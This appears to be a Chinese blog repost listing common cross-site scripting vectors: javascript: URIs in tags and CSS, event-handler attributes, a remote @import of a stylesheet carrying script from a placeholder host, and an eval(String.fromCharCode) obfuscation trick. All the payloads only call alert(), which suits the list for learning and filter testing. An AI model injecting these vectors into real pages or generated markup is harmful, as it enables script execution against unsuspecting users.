码迷,mamicode.com
首页 > 编程语言 > 详细

常见的javascript跨站

时间:2014-09-11 17:00:42      阅读:234      评论:0      收藏:0      [点我收藏+]

标签:style   http   java   ar   文件   art   div   sp   代码   

  

第一类:

<img src=javascript:alert() />

<iframe src=javascript:alert()></iframe>

<script src=javascript:alert()></script>

第二类:

<div style=background-image:url(javascript:alert())>

<img style=background-image:url(javascript:alert())>

<b style=background-image:url(javascript:alert())>

用STYLE标签引用其他网站上的css文件

<STYLE>@import‘http://xxx.xom/xss.css‘;</STYLE>

css文件里包含跨站程序

body{

background-image:url(‘javascript:alert();‘);
}

第三类:

<table background=javascript:alert()></table>

<body background=javascript:alert()></body>

第四类:

<div onmouseenter=alert()>鼠标进入本区域执行Javascript</div>

<div onmouseleave=alert()>鼠标离开本区域执行Javascript</div>

<div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>

<div contentEditable="true" onfocusin=alert()>获得焦点执行Javascript</div>

<div contentEditable="true" onfocusout=alert()>失去焦点执行Javascript</div>

<marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>

<img src="" onerror=alert(‘加载图片错误执行代码‘)>

<img src="" onclick=alert(‘单击图片执行代码‘)>

<img onmouseover=alert(‘鼠标经过图片执行代码‘)>

 

<img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>

将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开,再用String.fromCharCode解码,最后用eval执行

 

还可以进行十六进制的处理:

<img style=background-image:url(javascript:alert()>

常见的javascript跨站

标签:style   http   java   ar   文件   art   div   sp   代码   

原文地址:http://www.cnblogs.com/zthua/p/3966716.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!